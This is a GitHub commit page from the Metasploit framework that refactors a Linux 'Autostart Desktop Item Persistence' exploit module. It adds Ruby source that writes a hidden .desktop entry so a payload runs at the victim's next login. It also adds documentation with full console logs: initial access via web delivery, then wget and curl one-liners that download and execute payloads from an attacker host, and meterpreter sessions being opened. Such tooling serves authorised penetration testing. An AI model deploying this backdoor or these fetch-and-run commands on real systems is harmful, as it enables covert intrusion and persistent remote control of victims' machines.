Skip to content

Commit 985af00

Browse files
authored
Merge pull request #20497 from h00die/modern_persistence_autostart
update autostart to persistence mixin
2 parents 947a0ed + 71e9602 commit 985af00

File tree

4 files changed

+248
-91
lines changed

4 files changed

+248
-91
lines changed

documentation/modules/exploit/linux/local/autostart_persistence.md

Lines changed: 0 additions & 22 deletions
This file was deleted.
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
## Vulnerable Application
2+
3+
This module will create an autostart `.desktop` entry to execute a payload.
4+
The payload will be executed when the users logs in.
5+
6+
Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
7+
The following payloads were used in testing:
8+
- `cmd/unix/reverse_netcat`
9+
- `linux/x64/meterpreter/reverse_tcp`
10+
- `cmd/linux/http/x64/meterpreter/reverse_tcp`
11+
12+
## Verification Steps
13+
14+
1. Exploit a box
15+
2. `use exploit/linux/persistence/autostart`
16+
3. `set SESSION <id>`
17+
4. `exploit`
18+
19+
When the victim logs in, your payload will be executed!
20+
21+
## Options
22+
23+
### BACKDOOR_NAME
24+
25+
Name of autostart entry. Defaults to a randomly generated name
26+
27+
### PAYLOAD_NAME
28+
29+
Name of the payload file to write. Defaults to a randomly generated name
30+
31+
### USER
32+
33+
User to target, or current user if blank
34+
35+
## Scenarios
36+
37+
### Ubuntu 18.04.3
38+
39+
Initial access vector via web delivery
40+
41+
```
42+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
43+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
44+
verbose => true
45+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
46+
lhost => 111.111.1.111
47+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
48+
[*] Using configured payload python/meterpreter/reverse_tcp
49+
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
50+
srvport => 8181
51+
resource (/root/.msf4/msfconsole.rc)> set target 7
52+
target => 7
53+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
54+
payload => linux/x64/meterpreter/reverse_tcp
55+
resource (/root/.msf4/msfconsole.rc)> set lport 4545
56+
lport => 4545
57+
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
58+
URIPATH => l
59+
resource (/root/.msf4/msfconsole.rc)> run
60+
[*] Exploit running as background job 0.
61+
[*] Exploit completed, but no session was created.
62+
[*] Starting persistent handler(s)...
63+
[*] Started reverse TCP handler on 111.111.1.111:4545
64+
[*] Using URL: http://111.111.1.111:8181/l
65+
[*] Server started.
66+
[*] Run the following command on the target machine:
67+
wget -qO FWdHRs3A --no-check-certificate http://111.111.1.111:8181/l; chmod +x FWdHRs3A; ./FWdHRs3A& disown
68+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
69+
[*] Transmitting intermediate stager...(126 bytes)
70+
[*] Sending stage (3045380 bytes) to 222.222.2.222
71+
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:57884) at 2025-02-06 17:03:03 -0500
72+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
73+
[*] Starting interaction with 1...
74+
(Meterpreter 1)(/tmp) > sysinfo
75+
Computer : ubuntu18desktop.local
76+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
77+
Architecture : x64
78+
BuildTuple : x86_64-linux-musl
79+
Meterpreter : x64/linux
80+
(Meterpreter 1)(/tmp) > background
81+
[*] Backgrounding session 1...
82+
```
83+
84+
Persistence
85+
86+
```
87+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/autostart
88+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
89+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > set session 1
90+
session => 1
91+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > exploit
92+
[*] Command to run on remote host: curl -so ./xcsqfBQnCfcm http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xcsqfBQnCfcm;./xcsqfBQnCfcm&
93+
[*] Exploit running as background job 1.
94+
[*] Exploit completed, but no session was created.
95+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/autostart) >
96+
[*] Fetch handler listening on 111.111.1.111:8080
97+
[*] HTTP server started
98+
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
99+
[*] Started reverse TCP handler on 111.111.1.111:4444
100+
[*] Running automatic check ("set AutoCheck false" to disable)
101+
[!] The service is running, but could not be validated. Xorg is installed, possible desktop install.
102+
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
103+
[*] Making sure the autostart directory exists
104+
[*] Uploading autostart file /home/ubuntu/.config/autostart/bHOXeW.desktop
105+
[+] Backdoor will run on next login by ubuntu
106+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.0326/ubuntu18desktop.local_20250206.0326.rc
107+
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
108+
```
109+
110+
Login via gui
111+
112+
```
113+
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
114+
[*] Transmitting intermediate stager...(126 bytes)
115+
[*] Sending stage (3045380 bytes) to 222.222.2.222
116+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:44316) at 2025-02-06 17:03:50 -0500
117+
[msf](Jobs:2 Agents:2) exploit(linux/persistence/autostart) >
118+
```

modules/exploits/linux/local/autostart_persistence.rb

Lines changed: 0 additions & 69 deletions
This file was deleted.
Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Exploit::EXE # for generate_payload_exe
12+
include Msf::Exploit::FileDropper
13+
include Msf::Post::Linux::User
14+
include Msf::Exploit::Local::Persistence
15+
prepend Msf::Exploit::Remote::AutoCheck
16+
include Msf::Exploit::Deprecated
17+
moved_from 'exploits/linux/local/autostart_persistence'
18+
19+
def initialize(info = {})
20+
super(
21+
update_info(
22+
info,
23+
'Name' => 'Autostart Desktop Item Persistence',
24+
'Description' => %q{
25+
This module will create an autostart .desktop entry to execute a payload.
26+
The payload will be executed when the users logs in.
27+
Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.
28+
The following payloads were used in testing:
29+
- cmd/unix/reverse_netcat
30+
- linux/x64/meterpreter/reverse_tcp
31+
- cmd/linux/http/x64/meterpreter/reverse_tcp
32+
},
33+
'License' => MSF_LICENSE,
34+
'Author' => [ 'Eliott Teissonniere' ],
35+
'Platform' => [ 'unix', 'linux' ],
36+
'Arch' => [
37+
ARCH_CMD,
38+
ARCH_X86,
39+
ARCH_X64,
40+
ARCH_ARMLE,
41+
ARCH_AARCH64,
42+
ARCH_PPC,
43+
ARCH_MIPSLE,
44+
ARCH_MIPSBE
45+
],
46+
'Payload' => {
47+
'BadChars' => '#%\n"'
48+
},
49+
'SessionTypes' => [ 'shell', 'meterpreter' ],
50+
'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart
51+
'Targets' => [['Automatic', {}]],
52+
'DefaultTarget' => 0,
53+
'References' => [
54+
['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],
55+
['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],
56+
],
57+
'Notes' => {
58+
'Stability' => [CRASH_SAFE],
59+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
60+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
61+
}
62+
)
63+
)
64+
65+
register_options([
66+
OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),
67+
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
68+
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
69+
])
70+
end
71+
72+
def check
73+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
74+
# https://unix.stackexchange.com/a/237750
75+
return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
76+
77+
CheckCode::Detected('Xorg is installed, possible desktop install.')
78+
end
79+
80+
def target_user
81+
return datastore['USER'] unless datastore['USER'].blank?
82+
83+
whoami
84+
end
85+
86+
def install_persistence
87+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'
88+
user = target_user
89+
home = get_home_dir(user)
90+
vprint_status('Making sure the autostart directory exists')
91+
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
92+
93+
name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
94+
path = "#{home}/.config/autostart/#{name}.desktop"
95+
96+
print_status("Uploading autostart file #{path}")
97+
98+
autostart_stub = [
99+
'[Desktop Entry]',
100+
'Type=Application',
101+
"Name=#{name}",
102+
'NoDisplay=true',
103+
'Terminal=false'
104+
]
105+
106+
if payload.arch.first == 'cmd'
107+
write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
108+
else
109+
payload_path = writable_dir
110+
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
111+
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
112+
payload_path << payload_name
113+
print_status("Uploading payload file to #{payload_path}")
114+
upload_and_chmodx payload_path, generate_payload_exe
115+
write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))
116+
@clean_up_rc << "rm #{payload_path}\n"
117+
end
118+
119+
if whoami != user
120+
cmd_exec("chown #{user}:#{user} #{path}")
121+
unless payload.arch.first == 'cmd'
122+
cmd_exec("chown #{user}:#{user} #{payload_path}")
123+
end
124+
end
125+
126+
print_good("Backdoor will run on next login by #{user}")
127+
128+
@clean_up_rc << "rm #{path}\n"
129+
end
130+
end

0 commit comments

Comments
 (0)